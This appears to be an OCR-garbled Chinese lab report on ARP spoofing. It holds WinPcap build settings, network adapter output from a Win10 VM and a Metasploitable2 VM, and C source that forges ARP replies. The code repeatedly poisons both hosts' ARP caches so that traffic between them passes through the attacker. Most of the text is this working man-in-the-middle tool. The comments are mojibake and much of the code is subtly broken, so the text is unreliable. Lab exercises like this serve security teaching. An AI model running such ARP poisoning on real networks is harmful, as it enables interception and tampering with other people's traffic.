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AT E S _ _x64); xecutablePath)
B2 D:\WpdPack\Include;$(IncludePath)

SN EES $(VC_IncludePath);$(WindowsSDK_IncludePath);
SIRER $(VC_ReferencesPath_x64);
EEF D:\WpdPack\Lib\x64;$(LibraryPath)
Windows I={TZEBR S(WindowssUK_Metadatarath),
EE= $(VC_SourcePath);
__ﬁﬂi?ﬁi $(CommonExcludePath);$(VC_ExecutablePath_x64);$(VC_Lib
rp JEHER
BE(C): iEsN(Debug) v FEAP):  iEax64) v EREEE0)..
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if ((dwRetVal = bﬂtﬁdaptEIQIHfO'p%diDTPIIHfO &ulQutBufLen)) == NO_ERROR)

pllntt"
printf (”

—>AddressLength; i++)
ddressLength — 1))
(int) pAdapter—>Address[il) ;

) pAdapter—>Address[i]) ;

2) & ARP Hwtd: AR¥E ARP PO, Hd K ARP WM AL

Bfer R PhER.
MBHAHCRE. | K WIEXR.
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3)

for ( i=0;
Sleep (100

“uct_arp_packet (packet, w 0 s _ip, local_mac, metasploitable_ip);
send arp packet (handle, packet)
construct arp packet(packet, metasploitable mac, metasploitable ip, local mac, winlQ ip):
send_arp_packet (handle, cket) ;
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Connection
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At HEsE IPv6 il

DHCPv6 IAID
DHCPv6 % Pim DUID
TCPIP E# NetBIOS

Metasploitable2 mac Hfit (192.168.121.130——mac HB31:4 00-0c-29-28-60-a7)

nsfadnin@netasnloitable:™5 ifconfig
etho Link encap:Ethernet HUWaddr 00:0c:29:2B:60:a7
inet addr:192.168.121.130 Bcast:192.168.121.255 HMask:255.255.255.0
ineth addr: fe80::Z0c:Z9ff :feZB:00a7-64 Scope:Link
UP BROADCAST RUNMING MULTICAST MTU:1500 Metric:1
RX packet=s:Z2Z errors:0 dropped:0 overruns:0 frame:0
TX packets:48 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:2989 (2.9 KB) TX bytes:535Z2 (5.2 KB)
Base address:0xZ2000 Menory:fd5c0000-fd5e0000

B arp BATRJG(WIRANGETLZAFRK, % ping ip IR STZ IR arp A7 R E M)
mac 1T ICMP 153K), BTHIA, EHFIBEMMEEEE G, 17 winl0 F1 meta2 K%Ly
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MAC

ateway: 0.0.0.0

AC Address: 00-50-56-C0-00-01
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I[P Addres ) 39.2.1

205.0

Adapter _ AB1A-9C50-D9C8110FH8BF}
[P Addr .

Adapter Name: {5FOE2BA1-6175-4652-BB51-7677254E4A4D)
IP Address: 61.139.2.1
sk: 255.255.255.0
0.0.0.0
0ss: 00-50-56-C0-00-08
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#define ETHER _ADDR_LEN 6
#define ARP_REQUEST 1
#define ARP_REPLY 2

// Ethernet header

typedef struct ethernet_header {
u_char ether dhosttETHER ADDR_LEN];
u_char ether shostfETHER ADDR _LEN];
u_short ether type;

} ethernet_header;

// ARP header
typedef struct arp_header {
u_short arp_hardware_type;
u_short arp_protocol_type;
u_char arp_hardware_size;
u_char arp_protocol _size;
u_short arp_opcode;
u_char arp_sender maclETHER ADDR_LEN];
u_char arp_sender_ip[4];
u_char arp_target mac[ETHER ADDR_LEN];
u_char arp_target ip[4];
} arp_header;

/| FREUASHE MAC Hbhik



void get local mac(u_char* mac) {
IP_ADAPTER INFO AdapterInfo[16];
DWORD dwBufLen = sizeof(AdapterInfo);
DWORD dwsStatus = GetAdaptersIinfo(AdapterInfo, &dwBufLen);
memcpy(mac, AdapterInfo[0].Address, ETHER ADDR_LEN);

/I K& ARP #KImE,
void construct arp packet(u char* packet, u char* target mac, u char* target ip, u char*
sender_mac, u_char* sender ip) {

ethernet_header* eth header = (ethernet_header*)packet;

arp_header* arp = (arp_header*)(packet + sizeof(ethernet header));

/1 AFE K Sk 5

memcpy(eth_header->ether dhost, target mac, ETHER ADDR _LEN);
memcpy(eth _header->ether shost, sender mac, ETHER _ADDR LEN);
eth_header->ether type = htons(0x0806);

/I 378 ARP kil

arp->arp_hardware type = htons(1);

arp->arp_protocol_type = htons(0x0800);

arp->arp_hardware size = ETHER ADDR_LEN;
arp->arp_protocol_size = 4;

arp->arp_opcode = htons(ARP_REPLY);
memcpy(arp->arp_sender mac, sender mac, ETHER _ADDR_LEN);
memcpy(arp->arp_sender ip, sender ip, 4);
memcpy(arp->arp_target mac, target mac, ETHER ADDR_LEN);
memcpy(arp->arp_target_ip, target ip, 4);

/I K% ARP HR T
void send_arp packet(pcap t* handle, u_char* packet) {
if (pcap_sendpacket(handle, packet, sizeof(ethernet header) + sizeof(arp_header)) !=0) {
fprintf(stderr, "/& % ARP £ ! HHR(E E.: %s\n", pcap_geterr(handle));

H
else {

printf("ARP & 1% %.2\n");
H

void restore arp table(pcap t* handle, u char* target mac, u char* target ip, u char*
gateway mac, u_char* gateway ip, u_char* local _mac) {
u_char packet[sizeof(ethernet_header) + sizeof(arp_header)];
construct_arp_packet(packet, target mac, target_ip, gateway mac, gateway ip);
printf("IEAEKE H AR EHL ARP %..\n");



send arp_packet(handle, packet);

construct_arp_packet(packet, gateway mac, gateway _ip, target _mac, target ip);
printf("IEFEPRE N 5E ARP &...\n");

send arp_packet(handle, packet);

1R i A b T LD 10X 9% d R 5 6
void PrintAdapterInfo() {
PIP_ ADAPTER_INFO pAdapterInfo;
PIP_ADAPTER_INFO pAdapter = NULL;
DWORD dwRetVal = 0;
ULONG ulOutBufLen = sizeof(IP_ ADAPTER_INFO);

/] RBGERC 5 2
if ((dwRetVal = GetAdaptersinfo(pAdapterInfo, &ulOutBufLen)) == NO_ERROR) {
pAdapter = pAdapterInfo;
int index = 1;
while (pAdapter) {
for (int i = 0; i < pAdapter->AddressLength; i++) {
if (i == (pAdapter->AddressLength - 1))
printf("%.2X\n", (int)pAdapter->Address][i]);
else
printf("%.2X-", (int)pAdapter->Address[i]);

H
printf("\n");
pAdapter = pAdapter->Next;
index++;
}
H
else {
fprintf(stderr, "GetAdaptersinfo failed with error: %d\n", dwRetVal);
H
Il FETRNAF
if (pAdapterInfo)

free(pAdapterInfo);

int main() {
pcap_t* handle;
char errbuff PCAP_ERRBUF _SIZE];
u_char local maclETHER ADDR LEN];
// Winl0 K] MAC il
u_char winl0_mac[ETHER ADDR LEN] = { 0x00 ,0x0C,0x29,0x5C,0x74,0xFO0 };
u_char winl0_ip[4] = { 192, 168, 121, 129 };



// Metasploitable [f] MAC il

u_char metasploitable mac[ETHER ADDR LEN] = { 0x00, 0xOc, 0x29, 0x20, 0x60,
Oxa7 };

u_char metasploitable ip[4] = { 192, 168, 121, 130 };

u_char packet[sizeof(ethernet_header) + sizeof(arp_header)];

/1 ARHUA S MAC $idik:
get_local _mac(local _mac);
1/ FTEN P45 1 e a5 5
PrintAdapterInfo();
for (inti=0;i<ETHER_ADDR_LEN;it+t) {
if i==ETHER_ADDR _ LEN - 1) {
printf("%02X\n", local_mac[i]);

}
else {

printf("%02X-", local mac[i]);
}

I AL R 4

int choice;

printF(" 2 HE B 1 U 2 4 ;s
scanf("%d", &choice);

11 SRIUITAT X4 8 4%

pcap_if t* all devs;

1 ARE R s

pcap_if t* dev_ptr=all devs;

for (int i = 1; i < choice; i++) {

if (dev_ptr==NULL) {

fprintf(stderr, "Jo A1) % w5 \n");
pcap_freealldevs(all _devs);
return 1;

}

dev_ptr=dev_ptr->next;

if (dev_ptr==NULL) {
fprintf(stderr, "JCR 15 4% 45 \n");
pcap_freealldevs(all_devs);
return 1;

char* dev = dev_ptr->name;



pcap_freealldevs(all _devs);

I AT I 2% B 5%
handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf);
if (handle == NULL) {
fprintf(stderr, "JCIEFT H L5 4: %s\n", errbuf);
return 1;

/I ¥ Winl0, ib'EilN Metasploitable ] MAC &AL MAC
construct_arp_packet(packet, winl0_mac, winl0 _ip, local mac, metasploitable ip);
printf("IEZE[W] Winl0 1% ARP ¥k cL...\n");

send arp_packet(handle, packet);

/I ¥ Metasploitable, ik'EAN Winl0 ] MAC 24N MAC
construct_arp_packet(packet, metasploitable mac, metasploitable ip, local mac, winl0_ip);
printf("IEZE[7] Metasploitable &% ARP ki ...\n");

send arp_packet(handle, packet);

11 &R A IE K G
for (inti=0;1<10; i++) {
Sleep(1000);
printf("% %d KIEIA K% ARP HUREL..\n", i+ 1);
construct_arp _packet(packet, win10_mac, winl0 _ip, local mac, metasploitable ip);
send arp_ packet(handle, packet);
construct_arp packet(packet, metasploitable mac, metasploitable ip, local mac,
winl0_ip);
send arp_ packet(handle, packet);

/I R ARP £

//restore_arp_table(handle, win10 mac, winl0 ip, metasploitable mac, metasploitable ip,
local_mac);

//restore_arp_table(handle, metasploitable mac, metasploitable ip, win10 mac, winl0 ip,
local_mac);

11 R ALK B
pcap_close(handle);
return 0;



